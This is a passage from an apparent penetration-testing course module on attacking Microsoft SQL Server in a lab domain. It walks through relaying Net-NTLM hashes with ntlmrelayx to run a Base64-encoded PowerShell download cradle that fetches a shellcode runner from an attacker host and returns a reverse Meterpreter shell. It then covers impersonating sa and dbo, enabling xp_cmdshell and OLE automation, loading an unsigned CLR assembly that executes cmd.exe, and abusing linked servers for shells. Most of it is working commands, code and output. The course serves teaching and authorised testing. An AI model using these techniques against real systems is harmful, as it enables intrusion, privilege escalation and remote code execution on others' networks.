PS /home/kali> $EncodedText = [Convert]::ToBase64String($bytes)
PS /home/kali> $EncodedText
KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMQA4AC4ANgAvAHIAdQBuAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA==
PS /home/kali>

Listing 17 - Base64 encoding the PowerShell download cradle

We must also start a Metasploit multi/handler to catch the reverse
Meterpreter shell on our Kali machine. Once all of these pieces have
been prepared, we can initiate the attack.

We launch impacket-ntlmrelayx and prevent it from setting up an HTTP
web server with the --no-http-server flag. ntlmrelayx uses
SMB version 1 by default, which is disabled on Windows Server 2019, so
we must specify the -smb2support flag to force authentication
as SMB version 2.

Next, we supply the IP address of appsrv01 with the -t option
and the command to execute with -c.

kali@kali:~$ sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMQA4AC4AOQA6ADgAMQAvAHIAdQBuAC4AcABzADEAJwApACAAfAAgAEkARQBYAA=='
[sudo] password for kali: 
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Protocol Client SMTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Servers started, waiting for connections

Listing 18 - Launching ntlmrelayx

Finally, we execute the C# console application on the Windows 10
client machine to force the SMB request from the SQL server. This
results in NTLM authentication against our Kali machine and relaying
of the Net-NTLM hash.

[*] SMBD-Thread-3: Connection from CORP1/SQLSVC@192.168.120.5 controlled, attacking target smb://192.168.120.6
[*] Authenticating against smb://192.168.120.6 as CORP1/SQLSVC SUCCEED
[*] SMBD-Thread-3: Connection from CORP1/SQLSVC@192.168.120.5 controlled, but there are no more targets left!
[*] SMBD-Thread-5: Connection from CORP1/SQLSVC@192.168.120.5 controlled, but there are no more targets left!
...

Listing 19 - Relaying the Net-NTLM hash with ntlmrelayx

From the output, we notice that ntlmrelayx succeeded. If we switch
to Metasploit, we notice that our listener has caught a reverse
Meterpreter shell from appsrv01.

[*] Started HTTP reverse handler on https://192.168.119.120:443
[*] http://192.168.119.120:443 handling request from 192.168.120.6; (UUID: pm1qmw8u) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.6:49678)

meterpreter > 

Listing 20 - Reverse Meterpreter shell from Net-NTLM relaying

We have managed to get a shell on appsrv01 in the context of the SQL
server service account without cracking the password. We were able to
accomplish this despite of our low privileged access to the database.
Excellent!

In this section, we have covered an attack that takes advantage of
shared accounts and allows us to compromise a number of servers on an
internal network. In the next section, we are going to move on to ways
to obtain higher privileges inside the SQL server application.

Exercises

  1. Install Impacket, prepare the PowerShell shellcode runner, and
    Base64 encode the PowerShell download cradle.
  2. Launch ntlmrelayx to relay the Net-NTLM hash from dc01 to appsrv01
    and set up a multi/handler in Metasploit.
  3. Execute the attack by triggering a connection from the SQL server
    to SMB on the Kali machine and obtain a reverse shell from appsrv01.

MS SQL Escalation

Although we have managed to gain access to a MS SQL server using a
compromised non-administrative domain account, our database access
privileges are rather limited. In this section, we are going to
investigate how to gain elevated privileges on the database server.

We are also going to see how we can attempt to break out of the SQL
server instance and gain code execution on the Windows system running
the SQL server.

Privilege Escalation

The most obvious and easy way to obtain higher privileges in the
database would be to authenticate with a user that has sysadmin role
membership. Although we might not be able to compromise such a user
through an initial phishing attack, we could perform enumeration and
lateral movement within Active Directory to obtain access to a user
account with sysadmin role membership. This approach will have varying
degrees of success.

In this section, we'll use a different approach that relies on
Impersonation.[861] This can be accomplished using the EXECUTE
AS
statement,[862] which provides a way to execute a SQL query in
the context of a different login or user.

It is important to note that only users with the explicit Impersonate
permission are able to use impersonation. This permission is not
part of the default set of permissions for most users, but database
administrators may introduce misconfigurations that can lead to
privilege escalation.

For the purpose of this example, we have introduced an impersonation
permission misconfiguration in the SQL server running on dc01. There
are two different ways impersonation can be used. First, it's possible
to impersonate a different user at the login level with the EXECUTE
AS LOGIN
statement. Second, this can also be done at the user level
with the EXECUTE AS USER statement. We will cover both scenarios.

First, we will demonstrate impersonation at the login level. Due to
our unprivileged access, we cannot easily enumerate which logins our
current login can impersonate. However, we are able to enumerate which
logins allow impersonation, but not who is given the permission to
impersonate them. We can get this information using the database query
shown in Listing 21.

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

Listing 21 - Enumerating login impersonation permissions

This query uses information from the sys.server_permissions
table,[863] which contains information related to permissions,
and the sys.server_principals table,[864] which contains
information about logins on the server.

The WHERE clause limits results to permissions relevant to
impersonation, while the FROM clause combines records from the
sys.server_permissions table and the sys.server_principals table
through the grantor_principal_id and principal_id fields.

Finally, the SELECT clause returns, by name, all unique principals
from the sys.server_principals table that match these conditions.
This will give us all the logins that allow impersonation.

We can modify our C# console application to issue this query by
replacing the previous xp_dirtree procedure with the code shown in
Listing 22. We'll need to remember to start the
Samba share for Visual Studio again.

...
              Environment.Exit(0);
            }

            String query = "SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';";
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();

            while(reader.Read() == true)
            {
              Console.WriteLine("Logins that can be impersonated: " + reader[0]);
            }
            reader.Close();

            con.Close();
        }
...

Listing 22 - Impersonation enumeration code in C#

With the code updated and compiled, we execute it and discover that the
sa login allows impersonation.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Logins that can be impersonated: sa

Listing 23 - SA login allows impersonation

Although we do not know who is allowed to impersonate it, at this
stage we at least know that the sa login does allow impersonation.

Let's try to impersonate the sa login. In order to learn more about
how this works, we update our C# to list the login name before and
after impersonation.

To do this, we'll reuse the code from an earlier section where
we executed the SQL "SELECT SYSTEM_USER" command. Listing
24 shows the code to perform the impersonation
through the EXECUTE AS LOGIN query.

...
String executeas = "EXECUTE AS LOGIN = 'sa';";

command = new SqlCommand(executeas, con);
reader = command.ExecuteReader();
reader.Close();
...

Listing 24 - Impersonation of the SA login

After updating and compiling the code, we can execute the application
and obtain the output shown in Listing 25.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Before impersonation
Executing in the context of: corp1\offsec
After impersonation
Executing in the context of: sa

Listing 25 - Success in impersonating the SA login

From Listing 25, we find that our unprivileged
login can impersonate the sa login. This effectively gives us
database server administrative privileges.

We will explore how to use this privileged access to obtain code
execution on the host operating system later. For now, we are going to
inspect a variation of the impersonation technique.

As we mentioned before, it's possible to allow impersonation of a
login as well as a database user. There are two prerequisites to this
type of privilege escalation.

First, impersonation must have been granted to our user for a
different user that has additional role memberships, preferably the
sysadmin role.

Furthermore, a database user can only perform actions on a given
database. This means that impersonation of a user with sysadmin role
membership in a database does not necessarily lead to server-wide
sysadmin role membership.

To fully compromise the database server, the database user we
impersonate must be in a database that has the TRUSTWORTHY[865]
property set.

The only native database with the TRUSTWORTHY property enabled is
msdb. As is the case with many databases, the database owner (dbo)
user has the sysadmin role. To illustrate the privilege escalation
technique, the guest user has been given permissions to impersonate
dbo in msdb.

We can perform the impersonation by first switching to the msdb
database and then executing the "EXECUTE AS USER" statement. In
the code, we replace the use of "SELECT SYSTEM_USER" with "SELECT
USER_NAME()" and change the previous "EXECUTE AS LOGIN" statement.

...
String executeas = "use msdb; EXECUTE AS USER = 'dbo';";

command = new SqlCommand(executeas, con);
reader = command.ExecuteReader();
reader.Close();
...

Listing 26 - Impersonating the dbo user

We can modify our C# console application to perform the user
impersonation and then query for the current user context
with USER_NAME(). The results are displayed in Listing
27.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Before impersonation
Executing in the context of: guest
After impersonation
Executing in the context of: dbo

Listing 27 - Success in impersonating the dbo user

We have successfully impersonated the dbo user and obtained sysadmin
role membership. Nice!

In this section, we covered how impersonation can be used to provide
privilege escalation inside the SQL database if misconfigurations
are present. At the end of this module, we are going to cover an
additional way of obtaining higher privileges.

Exercises

  1. Perform enumeration of login impersonation in dc01.
  2. Impersonate the sa login on dc01.
  3. Impersonate the dbo user in msdb on dc01.

Getting Code Execution

With sysadmin role membership, it's possible to obtain code execution
on the Windows server hosting the SQL database. The most well-known
way of doing this is by using the xp_cmdshell[866] stored
procedure.

We are going to cover this technique, keeping in mind that because it
is well known, we may find that xp_cmdshell is blocked or monitored.
For this reason, we'll also cover an alternative technique, which uses
the sp_OACreate[867] stored procedure. For now, let's begin
with xp_cmdshell.

The xp_cmdshell stored procedure spawns a Windows command shell and
passes in a string that is then executed. The output of the command
is returned by the procedure. Since arbitrary command execution is
dangerous, xp_cmdshell has been disabled by default since Microsoft
SQL 2005.

Luckily, sysadmin role membership allows us to enable xp_cmdshell
using advanced options and the sp_configure[868] stored
procedure. To do this, we'll need to begin with the impersonation
of the sa login. After this, we'll use the sp_configure
stored procedure to activate the advanced options and then enable
xp_cmdshell.

To activate the advanced options as well as xp_cmdshell, we
must remember to update the currently configured values with the
RECONFIGURE statement.[869]

Let's review the code for impersonating the SA login, activating
the advanced options, enabling xp_cmdshell, and executing a
whoami command.

...
                Environment.Exit(0);
            }

            String impersonateUser = "EXECUTE AS LOGIN = 'sa';";
            String enable_xpcmd = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
            String execCmd = "EXEC xp_cmdshell whoami";

            SqlCommand command = new SqlCommand(impersonateUser, con);
            SqlDataReader reader = command.ExecuteReader();
            reader.Close();

            command = new SqlCommand(enable_xpcmd, con);
            reader = command.ExecuteReader();
            reader.Close();

            command = new SqlCommand(execCmd, con);
            reader = command.ExecuteReader();
            reader.Read();
            Console.WriteLine("Result of command is: " + reader[0]);
            reader.Close();

            con.Close();
        }
    }
...

Listing 28 - Enable and execute xp_cmdshell

Once we update our C# console application and launch it, we should
receive the results of the whoami command.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Result of command is: corp1\sqlsvc

Listing 29 - Executing whoami through xp_cmdshell

Excellent, we have proof of code execution in the context of the SQL
service account!

As mentioned in the beginning of this section, xp_cmdshell has been
used by penetration testers and malicious actors for more than 15
years. Because it's not a well kept secret, many organizations now
monitor its usage or simply remove it.

The second technique we will cover in this section uses the
sp_OACreate and sp_OAMethod stored procedures to create and execute
a new stored procedure based on Object Linking and Embedding
(OLE).[870]

With this technique, we can instantiate the Windows Script Host and
use the run method just like we have done in previous versions of
our client side code execution.

To explain this technique in detail, we begin with sp_OACreate, which
has the prototype shown in Listing 30.

sp_OACreate { progid | clsid } , objecttoken OUTPUT [ , context ] 

Listing 30 - sp_OACreate prototype

The procedure takes two arguments. The first is the OLE object that
we want to instantiate (wscript.shell in our case), followed by the
local variable where we want to store it.

The local variable is created with the DECLARE[100-1] statement,
which accepts its name and type. In our case, we will call the local
variable @myshell.

Listing 31 shows the SQL statements to create
the local variable and instantiate the OLE object.

DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT;

Listing 31 - Code to call sp_OACreate

Because @myshell is a local variable, we must stack the SQL queries
to ensure it exists when sp_OACreate is invoked.

As the next step, we execute the newly-created stored procedure
with the sp_OAMethod[871] procedure, which has the method
prototype shown in Listing 32.

sp_OAMethod objecttoken , methodname  
    [ , returnvalue OUTPUT ]   
    [ , [ @parametername = ] parameter [ OUTPUT ] [ ...n ] ]   

Listing 32 - sp_OAMethod prototype

sp_OAMethod accepts the name of the procedure to execute
(@myshell), the method of the OLE object (run), an optional
output variable, and any parameters for the invoked method. Therefore,
we will send the command we want to execute as a parameter.

It is not possible to obtain the results from the executed command
because of the local scope of the @myshell variable.

Before we can execute our new OLE-based procedure, we must ensure
that the "OLE Automation Procedures" setting is enabled. Although
it is disabled by default, we can change this setting using the
sp_configure procedure before creating the stored procedure since we
have the sysadmin role.

The C# code to enable OLE objects and invoke both sp_OACreate and
sp_OAMethod is included in Listing 33.

...
            Environment.Exit(0);
        }

        String impersonateUser = "EXECUTE AS LOGIN = 'sa';";
        String enable_ole = "EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;";
        String execCmd = "DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c \"echo Test > C:\\Tools\\file.txt\"';";

        SqlCommand command = new SqlCommand(impersonateUser, con);
        SqlDataReader reader = command.ExecuteReader();
        reader.Close();

        command = new SqlCommand(enable_ole, con);
        reader = command.ExecuteReader();
        reader.Close();

        command = new SqlCommand(execCmd, con);
        reader = command.ExecuteReader();
        reader.Close();

        con.Close();
    }
}
...

Listing 33 - C# code to invoke sp_OACreate and sp_OAMethod

Recall that due to the local scope of @myshell, we must use stacked
queries inside the execCmd variable.

With the C# console application updated, we execute it and then
launch a command prompt as the admin domain user. Then we can verify
that the C:\Tools\file.txt file was created on dc01.

C:\Tools> type \\dc01\c$\tools\file.txt
Test

Listing 34 - Proof that our OLE-based procedure worked

The contents of the file prove that our technique worked. We obtained
code execution on the host operating system of the SQL server!

In this section, we investigated multiple techniques for getting
code execution on the SQL server by using stored procedures that are
available by default in MS SQL. In the next section, we are going to
expand on this by introducing a custom assembly.

Exercises

  1. Use xp_cmdshell to get a reverse Meterpreter shell on dc01.
  2. Use sp_OACreate and sp_OAMethod to obtain a reverse Meterpreter
    shell on dc01.

Custom Assemblies

In the previous section, we covered two techniques for gaining code
execution from stored procedures. In this section, we are going to
explore a different technique that also allows us to get arbitrary
code execution, this time using managed code.

Before we begin, let's discuss this technique. If a database has
the TRUSTWORTHY property set, it's possible to use the CREATE
ASSEMBLY
[872] statement to import a managed DLL as an object
inside the SQL server and execute methods within it. To take advantage
of this, we will need to perform several steps. Let's do that one at a
time.

To begin, we will create a managed DLL by creating a new "Class
Library (.NET Framework)" project.

As part of the C# code, we create a method (cmdExec) that must be
marked as a stored procedure. That statement is highlighted in the
initial proof of concept code shown in Listing 35.

using System;
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;

public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
      // TODO
    }
};

Listing 35 - Initial proof of concept

We can implement any method we want inside the class. In this example,
we are going to write code that starts a command prompt and executes
the command given inside the execCommand argument. We are also going
to return the result so our C# console application can print it.

The Process class[873] is used to start a process
while allowing us to supply arguments through the StartInfo
property.[874] We use the FileName[875] and
Arguments[876] properties of StartInfo to specify "cmd.exe" and
the command to execute respectively.

Additionally, we set UseShellExecute[877] to "false" to ensure
that the command prompt is created directly from cmd.exe. We also set
RedirectStandardOutput[878] to "true" so the output from the
command prompt does not get printed to the console, but stored in a
pipe instead.

The required code for this is shown in Listing 36.

...
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
      	Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
...

Listing 36 - Creating the cmd.exe process

Calling the Start[879] method creates the process and
executes the command supplied in the execCommand argument.

Any output generated as a result of the command line input is not
sent to the console, but we can retrieve it using the Pipe[880]
property of the SqlContext class.[881]

The Pipe property is actually an embedded object instantiated
from the SqlPipe class,[882] which allows us to record
SQL data and return it to the caller. We will use a combination
of SendResultsStart,[883] SendResultsRow,[884] and
SendResultsEnd[885] to start recording, record data, and stop
recording respectively.

The object used by these APIs to record data into is of type
SqlDataRecord.[886] The code for this is in Listing
37.

...
proc.Start();

SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
...

Listing 37 - Returning output to the caller

To send the output from the command prompt to the SQL record, we
copy the contents of the Process object StandardOutput[887]
property into the record.

This is then returned as part of the result set from the SQL query.
Finally, we force the cmd.exe process to wait until all actions are
completed and subsequently close it. The complete code is given in
Listing 38.

using System;
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;

public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        SqlContext.Pipe.SendResultsRow(record);
        SqlContext.Pipe.SendResultsEnd();

        proc.WaitForExit();
        proc.Close();
    }
};

Listing 38 - Complete code for assembly

Once we have compiled the code into a DLL, we have the assembly that
we are going to load into the SQL server and execute. The next step is
to find a suitable target database inside the SQL server, since we can
only create a procedure from an assembly if the TRUSTWORTHY property
is set.

Recall that by default, only the msdb database has this property
enabled, but custom databases may use it as well. With this in mind,
we are going to target msdb.

Creating a stored procedure from an assembly is not allowed by
default. This is controlled through the CLR Integration[888]
setting, which is disabled by default. Luckily, we can enable it with
sp_configure and the clr enabled option.

Beginning with Microsoft SQL server 2017, there is an additional
security mitigation called CLR strict security.[889] This
mitigation only allows signed assemblies by default. CLR strict
security can be disabled through sp_configure with the clr strict
security
option.

In summary, we must execute the SQL statements shown in Listing
39 before we start creating the stored procedure
from an assembly.

use msdb

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'clr enabled',1
RECONFIGURE

EXEC sp_configure 'clr strict security', 0
RECONFIGURE

Listing 39 - Enable CLR and disable strict security

With all the security considerations taken care of, we can import the
assembly with the CREATE ASSEMBLY statement. Its prototype is in
Listing 40.

CREATE ASSEMBLY assembly_name  
[ AUTHORIZATION owner_name ]  
FROM { <client_assembly_specifier> | <assembly_bits> [ ,...n ] }  
[ WITH PERMISSION_SET = { SAFE | EXTERNAL_ACCESS | UNSAFE } ]

Listing 40 - CREATE ASSEMBLY prototype

We must supply a custom assembly name, a file location, and specify
the PERMISSION_SET to be UNSAFE to allow execution of unsigned .NET
code.

As the first step, we are going to copy the compiled assembly
(cmdExec.dll) onto dc01 in the C:\Tools folder.

On Windows server 2016 and earlier, this technique would also work
through a UNC path, but Windows server 2019 does not allow access to
SMB shares without authentication.

While this is not something we'd use in a real-world scenario, it
will help us understand the technique. Later in the section, we will
improve our technique and learn how to avoid this step.

Next, we can craft the CREATE ASSEMBLY command and import the DLL.

CREATE ASSEMBLY myAssembly FROM 'c:\tools\cmdExec.dll' WITH PERMISSION_SET = UNSAFE;

Listing 41 - Import assembly with CREATE ASSEMBLY

Once the DLL has been imported, we need to create a procedure based on
the cmdExe method with the CREATE PROCEDURE statement.[890]

CREATE [ OR ALTER ] { PROC | PROCEDURE } 
    [schema_name.] procedure_name [ ; number ]   
    [ { @parameter [ type_schema_name. ] data_type }  
        [ VARYING ] [ = default ] [ OUT | OUTPUT | [READONLY]  
    ] [ ,...n ]   
[ WITH <procedure_option> [ ,...n ] ]  
[ FOR REPLICATION ]   
AS { [ BEGIN ] sql_statement [;] [ ...n ] [ END ] }  
[;]  

Listing 42 - CREATE PROCEDURE prototype

To do so, we first specify the "CREATE PROCEDURE" statement
followed by the name we want to assign to our custom procedure
([dbo].[cmdExec]) and the argument(s) it accepts (@execCommand
NVARCHAR (4000)). We then specify the function name in our newly
imported assembly ([myAssembly].[StoredProcedures].[cmdExec]), which
will be executed when our procedure is invoked.

CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];

Listing 43 - Create procedure from assembly

The last half of the SQL query starts with the AS keyword and then
specifies the location of the C# method to create a procedure from
([myAssembly].[StoredProcedures].[cmdExec]). This is marked by the
EXTERNAL NAME prefix since it is non-native.

As the final step, we must invoke the newly-created procedure and
supply an argument.

EXEC cmdExec 'whoami'

Listing 44 - Execute the new procedure

Now that we have everything we need, we can combine it and implement
it from our C# console application. The output from running it is
shown in Listing 45.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Result of command is: corp1\sqlsvc

Listing 45 - Execution of the method from the assembly

This proves that we obtained code execution through our custom
assembly!

It is not possible to call CREATE ASSEMBLY on the same assembly
multiple times without removing the previous one. Instead, the DROP
ASSEMBLY
statement[891] must be used to drop it. In addition,
an assembly cannot be dropped if a procedure that requires it has been
created. In that case, the DROP PROCEDURE statement[892] must
be used first.

In our technique to get code execution from a custom assembly, we
initially copied the compiled assembly to the hard drive of the SQL
server, which is not realistic. Let's explore a better alternative.

It is possible to directly embed the assembly in the CREATE ASSEMBLY
SQL query. This is done by directly putting a hexadecimal string
containing the binary content of the assembly in the FROM clause
instead of specifying the file path.

To convert the assembly (cmdExec.dll) into a hexadecimal
string, we use the small PowerShell script shown in Listing
46.

$assemblyFile = "\\192.168.119.120\visualstudio\Sql\cmdExec\bin\x64\Release\cmdExec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder 

$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File c:\Tools\cmdExec.txt

Listing 46 - Converting DLL into hexidecimal string

With the assembly converted to a hexadecimal string, we only
have to update the CREATE ASSEMBLY statement as given in Listing
47.

CREATE ASSEMBLY my_assembly FROM 0x4D5A900..... WITH PERMISSION_SET = UNSAFE;

Listing 47 - CREATE ASSEMBLY statement with hexidecimal string

Before executing the updated C# console application, we have
to ensure that our previous work with CREATE ASSEMBLY and CREATE
PROCEDURE has not left any procedures or assemblies on the SQL server.
If this is the case, we must first remove them with DROP PROCEDURE and
DROP ASSEMBLY.

After that is done, we can execute the query with the embedded
assembly and get code execution as shown in Listing 48.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Result of command is: corp1\sqlsvc

Listing 48 - Execution of the method from the assembly

Once more, we have arbitrary code execution but this time without
having to write an assembly to disk on the target!

In this section, we covered how to gain code execution on the SQL
server host operating system through a custom assembly, which allows
us to reuse our previous C# code.

Exercises

  1. Repeat the steps to obtain command execution through the custom
    assembly.
  2. Leverage the technique to obtain a reverse shell.

Linked SQL Servers

So far, we have exclusively dealt with the SQL server on dc01. As we
discovered during enumeration, there is also a SQL server instance
on appsrv01. It is possible to link multiple SQL servers[893]
together in such a way that a query executed on one SQL server fetches
data or performs an action on a different SQL server.

In the next sections, we are going to dig into how this type of link
can be leveraged to perform both privilege escalation and obtain code
execution on additional SQL servers.

When a link from one SQL server to another is created, the
administrator must specify the execution context that will be used
during the connection. While it is possible to have the context be
dynamic based on the security context[894] of the current login,
some administrators opt to choose a specific SQL login instead.

If the administrator chooses a specific SQL login and that login has
sysadmin role membership, we would obtain sysadmin privileges on the
linked SQL server. This will be the case even if we only have low
privileged access on the original SQL server.

The first step for this kind of attack is to enumerate servers linked
to the current SQL server. The sp_linkedservesr[895] stored
procedure returns a list of linked servers for us. It does not require
any arguments, but it may return multiple results that we must print
to the console.

In this example, we are going to connect to appsrv01 instead of dc01
and not perform any impersonation, since sp_linkedserver does not
require any privileges to execute. An excerpt of the required code is
shown in Listing 49.

...
            Environment.Exit(0);
        }

        String execCmd = "EXEC sp_linkedservers;";

        SqlCommand command = new SqlCommand(execCmd, con);
        SqlDataReader reader = command.ExecuteReader();

        while (reader.Read())
        {
            Console.WriteLine("Linked SQL server: " + reader[0]);
        }
        reader.Close();

        con.Close();
    }
}
...

Listing 49 - Code to enumerate linked server

Once the C# console application has been compiled, we can enumerate
all linked servers from appsrv01 and obtain the results displayed in
Listing 50.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Linked SQL server: APPSRV01\SQLEXPRESS
Linked SQL server: DC01

Listing 50 - Linked servers from appsrv01

As noted from the highlighted output, there is a linked SQL server
called "DC01".

The next step is to perform a SQL query on a linked server.
First, we are going to simply find the version of the SQL server
instance on dc01. This can be done using the OPENQUERY[896]
keyword as part of the FROM clause. An example is given in Listing
51.

select version from openquery("dc01", 'select @@version as version')

Listing 51 - Use OPENQUERY to enumeration SQL version

When implementing this in our C# console application, we need to be
careful to escape double quotes (") correctly.

With the project compiled, we execute it and obtain the version from
the linked SQL server.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Linked SQL server version: Microsoft SQL Server 2019 (RTM) - 15.0.32.50 (X64)
        Aug 22 2019 17:04:49
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)

Listing 52 - Locating SQL server version on DC01

This example proves that it's possible to perform SQL queries across
linked servers. Let's see which security context we are executing in.

In order to do that, we replace the query for the SQL version to the
SQL login with SYSTEM_USER and obtain the results given in Listing
53.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Executing as the login corp1\offsec on APPSRV01
Executing as the login sa on DC01

Listing 53 - Enumerating the security context on linked server DC01

As noted from Listing 53, our local login is our
domain user, while the linked security context is sa. Excellent!

We already learned that sa access allows us to gain code execution.
To do this again, we will execute our PowerShell shellcode runner
through a download cradle with the xp_cmdshell stored procedure.

Since xp_cmdshell (and other code execution techniques) require
advanced options to be changed, we must update the running
configuration using the RECONFIGURE statement. When this statement is
executed against a remote server, Microsoft SQL uses Remote Procedure
Call
(RPC) to do so. For this to work, the created link must be
configured with outbound RPC through the RPC Out[897] setting.

RPC Out is not a setting that is turned on by default, but is commonly
set by system administrators. If RPC Out is not allowed, it can be
enabled with the sp_serveroption stored procedure[898] if our
current user has sysadmin role membership.

Microsoft documentation for OPENQUERY[899] specifically states that
executing stored procedures is not supported on linked SQL servers.
Instead, we are going to use the AT keyword to specify which linked
SQL server a query should be executed on.

Listing 54 shows the query needed to enable advanced
options.

EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT DC01

Listing 54 - Executing sp_configre on linked server

Notice the use of single quotes; the SQL escape character for a single
quote is a single quote, which means that we must double them on the
inner strings.

Similarly, we can enable xp_cmdshell and invoke it on dc01. When
using the PowerShell download cradle, we must keep an eye out for
string quote issues. The simplest way to solve this is by Base64
encoding the download cradle and invoking it with the EncodedCommand
parameter. In this manner, all string quotes are avoided.

After updating the C# console application, setting up a Meterpreter
listener, and ensuring that the PowerShell shellcode runner is present
on our Apache web server, we can trigger the attack and obtain a
reverse shell on the linked SQL server:

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.10; (UUID: q43npwu4) Staging x64 payload (202329 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.10:51808)


meterpreter > sysinfo
Computer        : DC01
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
...

Listing 55 - Getting a shell from the linked SQL server

As noted from the output of the sysinfo command in Listing
55, our reverse shell does indeed come from dc01.

Note that the SQL server process is terminated when the shell exits
unless EXITFUNC is set to thread.

In this section, we have learned how linked SQL servers can be abused
to execute SQL queries on other SQL servers and even obtain code
execution on them. In the next section, we are going to abuse this
even further to perform privilege escalation.

Exercises

  1. Enumerate linked SQL servers from appsrv01.
  2. Implement the code required to enable and execute xp_cmdshell on
    dc01 and obtain a reverse shell.

Extra Mile

While Microsoft documentation specifies that execution of stored
procedures is not supported on linked SQL servers with the OPENQUERY
keyword, it is actually possible.

Modify the SQL queries to obtain code execution on dc01 using
OPENQUERY instead of AT.

Come Home To Me

In the previous section, we discovered that if linked SQL servers
exist, it may be possible to exploit them depending on the security
context of the link. In this section, we are going to learn how this
could also be used for privilege escalation on the local SQL server.

As we learned previously, the SQL server at appsrv01 has a link to
the one at dc01. We can also execute the sp_linkedservers procedure
on dc01 to locate any additional links from dc01. One important fact
to keep in mind is that SQL server links are not bidirectional by
default.

The easiest way to do this is with the AT syntax as shown in Listing
56.

EXEC ('sp_linkedservers') AT DC01

Listing 56 - Find linked servers on DC01

We can update our original link enumeration C# code to find the
linked servers on dc01, which yields the results given in Listing
57.

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
